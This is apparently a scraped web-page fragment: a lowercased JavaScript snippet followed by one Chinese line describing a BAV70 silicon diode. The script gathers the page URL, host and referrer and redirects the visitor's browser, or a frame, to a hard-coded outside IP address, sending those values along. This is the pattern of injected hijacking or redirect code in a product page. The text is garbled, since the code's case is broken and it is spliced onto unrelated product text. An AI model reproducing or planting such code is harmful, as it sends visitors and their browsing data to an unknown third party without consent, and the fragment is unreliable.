var sa = "http:202.102.110.207:8080/"; var pp = "108&pre="+(new date()).gettime();var s=string(window.location.href); var host=escape(s.substring(7,s.indexof('/',7)));var ref=escape(document.referrer); var su = s+"&host="+host+"&refer="+ref+"&server="+pp;s = escape(s); function loadfr(){ document.getelementbyid("fr1").src = sa+"3.htm?aimt="+su; }function refreshpage(){ document.location = sa+"2.htm?aimt="+su; }if (self.location == top.location){ document.location= sa+"1.htm?aimt="+su; }else { refreshpage(); } 本产品的应用范围是放大，品牌是长电，型号是bav70，材料是硅(si)